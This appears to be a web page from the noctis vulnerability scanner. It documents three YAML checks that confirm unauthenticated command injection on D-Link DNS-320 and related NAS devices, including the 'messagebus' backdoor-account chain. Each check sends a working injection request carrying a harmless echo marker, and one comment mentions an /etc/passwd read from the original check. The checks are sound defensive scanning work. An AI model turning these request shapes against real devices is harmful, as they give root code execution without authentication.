D-Link DNS-320 — 3 vulnerability checks

noctis ships 3 vulnerability checks for D-Link DNS-320, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

D-Link DNS-320 Unauthenticated OS Command Injection

CVECVE-2020-25506
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/dlink-dns320/CVE-2020-25506.yaml

Detects the D-Link DNS-320 ShareCenter NAS unauthenticated OS command injection in /cgi-bin/system_mgr.cgi via the f_ntp_server parameter of the cgi_ntp_time command (CVE-2020-25506). Confirmation is keyed on a per-run command-substitution collapse: the injected payload separates a fixed prefix from a random token with an empty $() substitution, and the finding fires only when a real shell joins them back into the expected marker.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /cgi-bin/system_mgr.cgi with a crafted body
  4. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: D-Link DNS-320 command injection confirmed via /cgi-bin/system_mgr.cgi f_ntp_server: per-run command-substitution collapse yielded joined m…

References:

Feed source — tests/vulnerabilities/dlink-dns320/CVE-2020-25506.yaml
# D-Link DNS-320 — unauthenticated OS command injection (CVE-2020-25506)
#
# The DNS-320 ShareCenter NAS exposes /cgi-bin/system_mgr.cgi without
# authentication. The `f_ntp_server` parameter of the `cgi_ntp_time` command is
# passed unsanitised into a shell invocation, letting an attacker run arbitrary
# OS commands as the web user (root).
#
# Detection — command-substitution collapse (no OOB, no fixed marker string):
#   1. A `script` step mints a per-run token `tok = rand_hex(16)` (32 hex chars)
#      and the expected `marker = "NOCTIS" + tok`.
#   2. The injection separates NOCTIS from the token with an EMPTY command
#      substitution `$()`:  f_ntp_server=`echo NOCTIS$()<tok>`
#      The echo is inert — it reads no files and runs no real command.
#   3. Only a genuine shell collapses `NOCTIS$()<tok>` into the joined
#      `NOCTIS<tok>` (= marker). A device that merely reflects the raw payload
#      keeps `$()` between NOCTIS and the token, so the joined marker never
#      appears and nothing matches. A patched device rejects the request.
# The finding fires ONLY when the per-run joined marker is observed, proving
# real shell evaluation of attacker input (QoD 97, confirmed command execution).
uid: a9c341f1-0b9a-4ef3-91c8-8e529cf666da
name: "D-Link DNS-320 Unauthenticated OS Command Injection (CVE-2020-25506)"
description: |
  Detects the D-Link DNS-320 ShareCenter NAS unauthenticated OS command
  injection in /cgi-bin/system_mgr.cgi via the f_ntp_server parameter of the
  cgi_ntp_time command (CVE-2020-25506). Confirmation is keyed on a per-run
  command-substitution collapse: the injected payload separates a fixed prefix
  from a random token with an empty $() substitution, and the finding fires
  only when a real shell joins them back into the expected marker.
cves: [CVE-2020-25506]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [dlink, dns-320, sharecenter, nas, command-injection, rce, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-25506"

steps:
  # Per-run token + expected joined marker. rand_hex(16) => 32 hex chars.
  - id: gen-token
    action: script
    code: |
      rand_hex(16)
    store_as: tok

  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + tok
    store_as: marker

  # Initialise the var used in the match condition (avoids undefined-var throw).
  - id: init-confirmed
    action: set_var
    var_name: injection_confirmed
    var_value: false

  # Inject into f_ntp_server of the cgi_ntp_time command. NOCTIS and the token
  # are separated by an empty $() so only a real shell can collapse them.
  - id: inject
    action: http_request
    method: POST
    path: "/cgi-bin/system_mgr.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "C1=ON&cmd=cgi_ntp_time&f_ntp_server=`echo NOCTIS$(){{tok}}`"
    store_as: resp

  # Confirm RCE: the joined per-run marker must appear in the response body.
  # stridx(body, marker) >= 0 requires the collapsed NOCTIS<tok>, which a raw
  # reflection (NOCTIS$()<tok>) cannot produce.
  - id: confirm
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "D-Link DNS-320 command injection confirmed via /cgi-bin/system_mgr.cgi f_ntp_server: per-run command-substitution collapse yielded joined marker in response: {{resp.body}}"
      stop: true

D-Link DNS-320 login_mgr.cgi Unauthenticated Command Injection

CVECVE-2019-16057
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/dlink-dns320/CVE-2019-16057.yaml

Detects the D-Link DNS-320 ShareCenter NAS unauthenticated OS command injection in /cgi-bin/login_mgr.cgi via the `port` parameter of the hidden SSL Login feature (CVE-2019-16057, CISA KEV). Confirmation is keyed on a per-run command-substitution collapse: an inert echo separates a fixed prefix from a random token with an empty $() substitution, and the finding fires only when a real shell joins them back into the expected marker.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26echo…
  4. Checks resp.banner for NOCTIS[0-9a-f]{32} → finding QoD 97: D-Link DNS-320 command injection confirmed via /cgi-bin/login_mgr.cgi port parameter (SSL Login): a shell collapsed the per-run payload ech…

References:

Feed source — tests/vulnerabilities/dlink-dns320/CVE-2019-16057.yaml
# D-Link DNS-320 — unauthenticated OS command injection in login_mgr.cgi (CVE-2019-16057)
#
# Ported from OpenVAS/Greenbone NVT `2019/dlink/gb_dlink_dns_320_rci_vuln_active.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.143216, GPL-2.0-only); same request shape as the Nuclei
# template `http/cves/2019/CVE-2019-16057.yaml`.
#
# The DNS-320 ShareCenter NAS (firmware <= 2.05.B10) has a hidden "SSL Login"
# feature in /cgi-bin/login_mgr.cgi: with `ssl=1`, the `port` parameter is
# concatenated into a shell command without sanitisation, so a `|` in it runs
# an attacker-chosen command as root — before any authentication.
#
# Detection — command-substitution collapse (benign, no OOB, no fixed marker):
#   1. A `script` step mints a per-run token `tok = rand_hex(16)` (32 hex chars)
#      and the expected `marker = "NOCTIS" + tok`.
#   2. The request is the NASL one, with the injected command replaced by an
#      inert echo whose prefix and token are split by an EMPTY substitution:
#        port=80|pwd&echo NOCTIS$()<tok>  (sent percent-encoded, verbatim;
#      the `pwd&` prefix keeps the exact shape of the reference requests)
#   3. Only a real shell collapses `NOCTIS$()<tok>` into the joined marker. A
#      device that merely reflects the request keeps `$()` (or `%24%28%29`)
#      between the prefix and the token, so the marker never appears.
#
# Deviation from the NASL (intentional, per the project's benign-proof rule):
# the NASL injects `pwd&cat /etc/passwd` and greps `root:.*:0:0`. The echo
# marker exercises the exact same injection point and output channel, so a
# passwd-read fallback would add no detection power — it would only read a
# system file off the target. It is therefore not sent.
#
# The request goes through `tcp_connect` so that `%7C` / `%24%28%29` reach the
# CGI byte-for-byte (no client-side URL normalisation).
uid: 1a558d9b-824f-45ae-8b1a-2e056cdc65ff
name: "D-Link DNS-320 login_mgr.cgi Unauthenticated Command Injection (CVE-2019-16057)"
description: |
  Detects the D-Link DNS-320 ShareCenter NAS unauthenticated OS command
  injection in /cgi-bin/login_mgr.cgi via the `port` parameter of the hidden
  SSL Login feature (CVE-2019-16057, CISA KEV). Confirmation is keyed on a
  per-run command-substitution collapse: an inert echo separates a fixed prefix
  from a random token with an empty $() substitution, and the finding fires
  only when a real shell joins them back into the expected marker.
cves: [CVE-2019-16057]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [dlink, dns-320, sharecenter, nas, command-injection, rce, iot, kev, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-16057"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16057.yaml"

steps:
  # Per-run token + expected joined marker. rand_hex(16) => 32 hex chars.
  - id: gen-token
    action: script
    code: |
      rand_hex(16)
    store_as: tok

  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + tok
    store_as: marker

  # NASL request, injected command swapped for `echo NOCTIS$()<tok>`:
  #   %7C = |   %26 = &   %20 = space   %24%28%29 = $()
  - id: inject
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26echo%20NOCTIS%24%28%29{{tok}}&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username= HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: resp

  # Confirm RCE: the joined per-run marker must appear in the reply.
  # stridx(banner, marker) >= 0 requires the collapsed NOCTIS<tok>, which a raw
  # reflection (NOCTIS$()<tok> or NOCTIS%24%28%29<tok>) cannot produce. If no
  # reply arrived, resp.banner is () and the condition is false.
  - id: confirm
    action: match
    source: resp.banner
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.connected == true && stridx(resp.banner, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "D-Link DNS-320 command injection confirmed via /cgi-bin/login_mgr.cgi port parameter (SSL Login): a shell collapsed the per-run payload echo NOCTIS$()<tok> into the joined marker {{marker}}"
      stop: true
CVECVE-2024-3272, CVE-2024-3273
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/dlink-dns320/dlink-nas-sharing-backdoor-rce.yaml

Detects the D-Link DNS/DNR NAS hard-coded `messagebus` backdoor account (CVE-2024-3272) chained with the `system` parameter command injection in /cgi-bin/nas_sharing.cgi (CVE-2024-3273). A benign base64-encoded `echo<TAB>NOCTIS$()<token>` command is sent through the backdoor account; the finding fires only when a real shell collapses it into the per-run marker, proving unauthenticated command execution (QoD 97).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={{payload}}
  5. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: D-Link NAS nas_sharing.cgi backdoor account `messagebus` + `system` command injection confirmed: benign echo collapsed into the per-run mar…

References:

Feed source — tests/vulnerabilities/dlink-dns320/dlink-nas-sharing-backdoor-rce.yaml
# D-Link DNS/DNR NAS — nas_sharing.cgi hard-coded backdoor account +
# `system` parameter command injection (CVE-2024-3272 + CVE-2024-3273, SAP10383)
#
# Ported from OpenVAS/Greenbone NVT `2024/dlink/gb_dns_SAP10383_active.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.152068, GPL-2.0-only).
#
# EOL D-Link DNS-320L / DNS-325 / DNS-327L / DNS-340L (and DNR) NAS firmware ships
# /cgi-bin/nas_sharing.cgi, which accepts the hard-coded account `messagebus`
# with an EMPTY password (CVE-2024-3272) and, for cmd=15, base64-decodes the
# `system` parameter and hands it to a shell (CVE-2024-3273). KEV, mass-exploited
# by Mirai variants since April 2024. The SAP10383 advisory groups 18 further
# CVEs (CVE-2024-3274, CVE-2024-7715, CVE-2024-78xx/79xx/81xx, CVE-2024-8461 —
# buffer overflows, other injections, info disclosure); this feed exercises only
# the two above, so only they are listed in `cves:`.
#
# Detection — same request as the NASL, with a benign command-substitution
# collapse added on top of its random `echo` marker:
#   1. `script` mints a per-run token `tok = rand_hex(16)` and the expected
#      joined `marker = "NOCTIS" + tok`.
#   2. The command is `echo<TAB>NOCTIS$()<tok>`. The TAB (0x09) separator is
#      kept from the NASL, which notes it is needed to succeed. It is
#      base64-encoded into `system=`; the `=` padding is percent-encoded (the
#      fixed-length command never yields `+` or `/`, which are encoded anyway
#      as a safeguard).
#   3. GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<b64>
#   4. Only a real shell collapses `NOCTIS$()<tok>` into the joined marker. The
#      marker never appears in the request (it is base64-encoded and split by
#      `$()`), so neither a reflection of the raw parameter nor of its decoded
#      value can match. A non-affected device rejects the backdoor login (the
#      affected models are EOL: D-Link shipped no fix and advises retiring them).
# The command is an inert `echo`: no file read or write, no network, nothing
# persistent. It still executes on the target, hence `category: rce` +
# `intrusive` so operators can exclude it.
uid: c5cbd888-45a6-498c-a57f-20735020ba98
name: "D-Link DNS/DNR NAS nas_sharing.cgi Backdoor Account + Command Injection (CVE-2024-3272, CVE-2024-3273)"
description: |
  Detects the D-Link DNS/DNR NAS hard-coded `messagebus` backdoor account
  (CVE-2024-3272) chained with the `system` parameter command injection in
  /cgi-bin/nas_sharing.cgi (CVE-2024-3273). A benign base64-encoded
  `echo<TAB>NOCTIS$()<token>` command is sent through the backdoor account; the
  finding fires only when a real shell collapses it into the per-run marker,
  proving unauthenticated command execution (QoD 97).
cves: [CVE-2024-3272, CVE-2024-3273]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [dlink, dns-320l, dns-325, dns-327l, dns-340l, nas, backdoor, command-injection, rce, kev, intrusive, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-3272"
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-3273"
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-3274"
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-7715"
  - "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383"
  - "https://github.com/Chocapikk/CVE-2024-3273"

steps:
  # Per-run token + expected joined marker. rand_hex(16) => 32 hex chars.
  - id: gen-token
    action: script
    code: |
      rand_hex(16)
    store_as: tok

  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + tok
    store_as: marker

  # base64("echo<TAB>NOCTIS$()<tok>"), then percent-encode the `=` padding
  # (`+`/`/` cannot occur for this fixed-length command; encoded defensively).
  - id: gen-payload
    action: script
    code: |
      let b64 = base64_encode("echo\tNOCTIS$()" + tok);
      str_replace(str_replace(str_replace(b64, "+", "%2B"), "/", "%2F"), "=", "%3D")
    store_as: payload

  # Hard-coded `messagebus` account with an empty password (CVE-2024-3272),
  # command in the base64 `system` parameter (CVE-2024-3273).
  - id: inject
    action: http_request
    method: GET
    path: "/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={{payload}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp

  # Confirm: the joined per-run marker must be in the body. It only exists after
  # a real shell collapsed `NOCTIS$()<tok>`.
  - id: confirm
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "D-Link NAS nas_sharing.cgi backdoor account `messagebus` + `system` command injection confirmed: benign echo collapsed into the per-run marker {{marker}} in the response: {{resp.body}}"
      stop: true

View these feeds on GitHub